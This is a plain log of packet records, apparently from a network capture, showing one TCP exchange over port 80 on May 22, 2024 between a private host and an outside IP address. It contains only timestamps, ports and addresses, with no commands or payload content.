May 22, 2024 20:06:33.091576099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.091645002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.091701031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.091800928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.091969013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092022896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092036009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.092077971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092130899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092145920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.092181921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.092392921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092438936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092483044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092504025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.092545033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092596054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.092609882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.092647076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.092670918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093149900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093203068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093218088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.093260050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093312025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093326092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.093364000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.093385935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093430996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093482018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093496084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.093734980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.093854904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093903065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093946934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.093971968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.093996048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094026089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094058037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094091892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094115973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094379902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094425917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094451904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094479084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094544888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094592094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094614029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094655037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094723940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.094929934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.094978094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.095000982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.095035076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.139683008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.139851093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.139899015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.139939070 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.139978886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.139997005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140059948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140114069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140127897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140170097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140222073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140235901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140270948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140297890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140378952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140417099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140471935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140544891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140605927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140657902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140671015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140713930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140763998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140779972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140810013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.140840054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140883923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.140930891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141283989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141330957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141355038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141372919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141609907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141659021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141674995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141719103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141769886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141784906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141827106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141877890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141891956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141925097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.141952991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.141998053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142046928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.142472982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142544985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142596960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142611027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.142642975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.142672062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142715931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142766953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142781973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.142822981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142879963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.142893076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.142925978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.143357992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143403053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143454075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143466949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.143508911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143559933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143573999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.143606901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.143635035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143677950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.143726110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.143740892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144254923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144308090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144321918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.144362926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144413948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144428015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.144460917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.144488096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144532919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144582987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144597054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.144639015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.144685984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.145108938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145160913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145174980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.145215988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145267963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145281076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.145322084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145373106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145386934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.145420074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.145447016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145490885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.145539999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.145977020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146022081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146074057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146087885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.146130085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146181107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146193981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.146226883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.146254063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146296978 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146344900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.146362066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146768093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146821022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.146838903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.146867990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.177771091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.177807093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.177829027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.177840948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.177860022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.177896976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.177908897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.177932978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.178006887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.178052902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.178136110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.178309917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.180529118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.180548906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.180583954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.180602074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.180732012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.180807114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.180826902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.180855989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.180890083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.180938959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181067944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181090117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181108952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181130886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181139946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181158066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181185007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181468010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181490898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181538105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181771994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181791067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181814909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181823969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181842089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181858063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181869984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181890011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181899071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181917906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.181957960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.181974888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182452917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182475090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182514906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182533026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182797909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182817936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182838917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182849884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182872057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182879925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182894945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182904959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182918072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182934046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182943106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.182960987 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.182980061 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.183000088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.183032990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.183625937 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.183646917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.183666945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.183686018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.183693886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.183711052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.183732033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.183763981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.184212923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.184231997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.184264898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.184283018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.228873014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.228955030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229017973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229063034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229084969 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229119062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229167938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229214907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229259968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229280949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229310036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229341030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229383945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229406118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229453087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229614019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229645967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229700089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229765892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229804039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229804039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229839087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229856014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229902983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.229923010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.229969025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230535984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230578899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230602026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230626106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230671883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230720043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230736971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230782032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230802059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230854988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230881929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230933905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.230947971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.230981112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231008053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231060028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231074095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231105089 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231132984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231177092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231198072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231239080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231282949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231303930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231332064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231362104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231406927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231453896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231781960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231828928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231853962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231880903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231909990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.231956005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.231973886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232017994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232038021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232079983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232122898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232144117 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232184887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232233047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232657909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232703924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232729912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232752085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232781887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232827902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232851028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232893944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.232908010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232944965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.232969999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233021021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233035088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233078003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233131886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233524084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233571053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233599901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233640909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233654976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233696938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233716011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233762026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233802080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233823061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233845949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233890057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.233915091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.233943939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.234380960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234427929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234448910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.234517097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234563112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234606981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234651089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:33.234680891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.234694958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:33.234721899 CEST	49708	80	192.168.2.6	185.172.128.82
